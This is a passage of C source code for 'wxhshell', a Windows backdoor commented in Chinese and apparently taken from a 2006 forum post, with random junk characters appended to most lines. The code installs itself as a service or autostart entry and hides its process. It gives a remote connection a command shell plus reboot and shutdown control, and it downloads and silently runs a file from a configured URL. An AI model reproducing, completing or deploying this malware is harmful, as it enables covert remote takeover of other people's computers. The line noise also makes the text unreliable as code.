    switch(cmd[0]) { eu@-v"=w  
  O5CIK}A  
  // 帮助 L=O,OS+  
  case '?': { ;]D@KxO$dJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Py^F},?J  
    break; tV<}!~0,*  
  } KwndY,QD  
  // 安装 gYn1-/Z>I  
  case 'i': { Ol`/r@s  
    if(Install()) Ek~Qp9B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2asA]sY  
    else Ok/~E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3ZGU?Z;R  
    break; dQVV0)z  
    } `Rub"zM  
  // 卸载 )mz [2Sfg  
  case 'r': { 8p,q9Ey  
    if(Uninstall()) BNw^ _j1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16_HO%v->  
    else v`A^6)U#M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @s}I_@  
    break; OB)Vk  
    } S7N3L."  
  // 显示 wxhshell 所在路径 Qw!cd-zc  
  case 'p': { @Ck6s  
    char svExeFile[MAX_PATH]; wj!p6D;;S  
    strcpy(svExeFile,"\n\r"); #O6SEK|Z  
      strcat(svExeFile,ExeFile); @>,3l;\Zh  
        send(wsh,svExeFile,strlen(svExeFile),0); {a.{x+!5I-  
    break; d8`^;T ;}d  
    } rk*Igqf  
  // 重启 Q#wASd.  
  case 'b': { _iLXs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X aW@CW  
    if(Boot(REBOOT)) ~O;!y%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{ u{F L  
    else { QU|{(c  
    closesocket(wsh); R"Nvnpm  
    ExitThread(0); S5*wUd*p#  
    } .^>[@w3  
    break; m(,vym t  
    } 0AP wk }  
  // 关机 L MC-1  
  case 'd': { Dq/[ g,(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zNofI$U  
    if(Boot(SHUTDOWN)) 3Bee6N>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &F1h3q)L  
    else { 8W)3rD>  
    closesocket(wsh); }0 0mJ]H(  
    ExitThread(0); ~ nNsq(4  
    } _6Wz1.]n  
    break; HK) $ls  
    } j*t>CB4  
  // 获取shell r5%K2q{  
  case 's': { $6}siU7s4  
    CmdShell(wsh); EGO;g^,  
    closesocket(wsh); )_"Cz".|9  
    ExitThread(0); ;X<#y2`  
    break; 7Oe |:Z  
  } w~y+Pv@   
  // 退出 rVowHP  
  case 'x': { zDeh#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x tg3~/H  
    CloseIt(wsh); >gM|:FG  
    break; V|zzj[c  
    } -BfZ P5  
  // 离开 3Wxl7"!x m  
  case 'q': { b)9bYkd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wUHuykF  
    closesocket(wsh); `Jhu&MWg  
    WSACleanup(); ~z#Faed=a  
    exit(1); A ^ $9[_  
    break; $j0] +vT  
        } #~*fZ|sq+3  
  } ';us;xR#  
  } I1^0RB{~  
S1(. AI~  
  // 提示信息 ]b4*`}\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k<wX??'  
} vNlYk  
  } Iz,a Hrq  
$]|fjB#D  
  return; !31v@v:)  
} RKFj6u  
7\@[e, ^9  
// shell模块句柄 hu%rp{m^,  
int CmdShell(SOCKET sock) cG1-.,r  
{ jG)fM?  
STARTUPINFO si; mj=$[ y(  
ZeroMemory(&si,sizeof(si)); |UZPn>F~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C9`#57Pp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g#ubxC7t<  
PROCESS_INFORMATION ProcessInfo; ^eQK.B(  
char cmdline[]="cmd"; o7S,W?;=5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <^6|ZgR  
  return 0; %>`0hk88  
} <\eHK[_*  
^]o]'  
// 自身启动模式 jv<BGr=4;  
int StartFromService(void) O&!>C7  
{ jjL(=n<J<"  
typedef struct +Rn]6}5m\  
{ YbB8D-  
  DWORD ExitStatus; J5h;~l!y  
  DWORD PebBaseAddress; -twV?~f  
  DWORD AffinityMask; rU`#3}s  
  DWORD BasePriority; [U@#whEO  
  ULONG UniqueProcessId; unKTa*U^q  
  ULONG InheritedFromUniqueProcessId; |_/q0#"  
}   PROCESS_BASIC_INFORMATION; y3 @R>@$  
M@EML @~  
PROCNTQSIP NtQueryInformationProcess; sYM3&ikyHI  
DcaVT]"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O`5PX(J1&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XBe!9/'k>  
W}#eQ|oCV  
  HANDLE             hProcess; }D/0&<1  
  PROCESS_BASIC_INFORMATION pbi; ++D-,>.  
\L}aTCvG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JYA$_T  
  if(NULL == hInst ) return 0; RhIRCN9  
zC #[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^55#!/9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }/q]:3M|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +#7 e?B  
W- 5Z"m1I  
  if (!NtQueryInformationProcess) return 0; O`1_eK~1<  
d|CSWcU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H4p N+  
  if(!hProcess) return 0; !]=  
F B-?{78~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jPU:&1(_ n  
$ ,Y\  
  CloseHandle(hProcess); !4TMgM  
&QFg=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bzD <6Z  
if(hProcess==NULL) return 0; hi4#8W  
DjUif "v  
HMODULE hMod; oe`t ? (U  
char procName[255]; .E}fk,hLB  
unsigned long cbNeeded; k44s V.G4L  
L;$Gn"7~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xR `4<  
$}RBK'cr}  
  CloseHandle(hProcess); gBb+Q,  
3* C9;Q}  
if(strstr(procName,"services")) return 1; // 以服务启动 XA75tU[#  
6&/n/g  
  return 0; // 注册表启动 sT:$:=  
} ;zVtJG`  
{#"[h1  
// 主模块 w&<-pIa`  
int StartWxhshell(LPSTR lpCmdLine)  Xr'Y[E [  
{ hAq7v']m  
  SOCKET wsl; A+v6N>}*  
BOOL val=TRUE; #vCtH2  
  int port=0; :MPWf4K2s  
  struct sockaddr_in door; h^o>9s/|/H  
|^p7:)cy  
  if(wscfg.ws_autoins) Install(); L5$r<t<  
k+ [V%[U  
port=atoi(lpCmdLine); j"o8]UT/  
s8;/'?K  
if(port<=0) port=wscfg.ws_port; j6<o,0P  
[yj-4v%u`  
  WSADATA data; gI<e=|J6w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -DD2   
/NRdBN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kU^*hd ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K. [2uhB)  
  door.sin_family = AF_INET; Xm,w.|dx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1KwUp0% &  
  door.sin_port = htons(port); iV<4#aBg  
1_$y bftS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  _0^f  
closesocket(wsl); =_~bSEqyRI  
return 1; :uwB)G  
} sk* AlSlM  
j6x1JM  
  if(listen(wsl,2) == INVALID_SOCKET) { n<RvL^T=  
closesocket(wsl); m/}(dT;  
return 1;  g=W1y  
} K[} 5bjh>  
  Wxhshell(wsl); Q'-g+aN  
  WSACleanup(); :: IAXGH)  
S5B12P  
return 0; i2$7nSQ9  
#+$pE@u7A  
} n?uVq6c  
L[v-5u)  
// 以NT服务方式启动 \/=w \Tj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /S9s%scAy  
{ e$!01Y$HI  
DWORD   status = 0; sXe=4`O  
  DWORD   specificError = 0xfffffff; YI[y/~!  
S ?v^/F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xZ2^lsY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~Q<h,P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?+6w8j%\  
  serviceStatus.dwWin32ExitCode     = 0; `Hj{XIOx  
  serviceStatus.dwServiceSpecificExitCode = 0; &oi*]:<FNe  
  serviceStatus.dwCheckPoint       = 0; !<`}m E!:  
  serviceStatus.dwWaitHint       = 0; e'%"G{(D  
7-Bttv{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); < zUU`  
  if (hServiceStatusHandle==0) return; & !0[T   
.FV wZ:d  
status = GetLastError(); ;yd[QT<I<  
  if (status!=NO_ERROR) S#gIfb<D  
{ !l2=J/LJj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qU!xh )  
    serviceStatus.dwCheckPoint       = 0; }~/u%vI@M5  
    serviceStatus.dwWaitHint       = 0; #"PI%&  
    serviceStatus.dwWin32ExitCode     = status; (H=7(  
    serviceStatus.dwServiceSpecificExitCode = specificError; z +NxO !y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oEfy{54  
    return; @|A w T  
  } c;RB!`9"  
:.xdG>\n3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !a %6nBo  
  serviceStatus.dwCheckPoint       = 0; s Yp?V\Y"  
  serviceStatus.dwWaitHint       = 0; Ekq&.qjYG"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /eFudMl  
} &+"-'7  
-TL `nGF  
// 处理NT服务事件,比如:启动、停止 @C\>P49  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 47 ]?7GU,  
{ ~n)gP9Hv  
switch(fdwControl) WsHC%+\'  
{ JjO="Cmk/  
case SERVICE_CONTROL_STOP: a+wc"RQ |  
  serviceStatus.dwWin32ExitCode = 0; ,V$PV,G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N%3 G\|~Q  
  serviceStatus.dwCheckPoint   = 0; =lyP &u  
  serviceStatus.dwWaitHint     = 0; }vzZWe  
  { kd0~@rPL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b \pjjb[  
  } 4i<V^go"  
  return; BNA`Cc1VV  
case SERVICE_CONTROL_PAUSE: YG AB2`!U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zpPzXQv]/  
  break; i^Ba?r;*  
case SERVICE_CONTROL_CONTINUE: q ERdQ~M,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QY$Z,#V)  
  break; l;u_4`1H  
case SERVICE_CONTROL_INTERROGATE: MqA%hlq  
  break; |ji={  
}; ?U}Ml]0~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bKAR}JM&  
} 6x6xv:\  
c5KJ_Nfi  
// 标准应用程序主函数 o>3g<- ul  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #HgXTC  
{ oh>X/uj  
DM*GvBdR  
// 获取操作系统版本 nMz~.^Q-  
OsIsNt=GetOsVer(); B Q) 1)8r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y7&8P8R  
R9dC$Y]\M  
  // 从命令行安装 g 0=Q>TzY  
  if(strpbrk(lpCmdLine,"iI")) Install(); zYL</!6a[  
PxqRb  
  // 下载执行文件 |Wo_5|E  
if(wscfg.ws_downexe) { ~c;D@.e\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) | .8lS3C  
  WinExec(wscfg.ws_filenam,SW_HIDE);  ~\0uy3%  
} T*m;G(  
O-5s}RT  
if(!OsIsNt) { ,F4 _ps?(  
// 如果时win9x,隐藏进程并且设置为注册表启动 qa|"kRCO  
HideProc(); VW," dmC  
StartWxhshell(lpCmdLine); 7mUpn:U  
} R78=im7  
else \&|zD"*  
  if(StartFromService()) k{{iF  
  // 以服务方式启动 i2h,=NHJh?  
  StartServiceCtrlDispatcher(DispatchTable); {{3n">s}:  
else fJjtrvNy)  
  // 普通方式启动 ow,4'f!d  
  StartWxhshell(lpCmdLine); %cPz>PTW@  
!i"Z  
return 0; pONBF3H8  
}
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只看该作者 1 发表于: 2006-10-10
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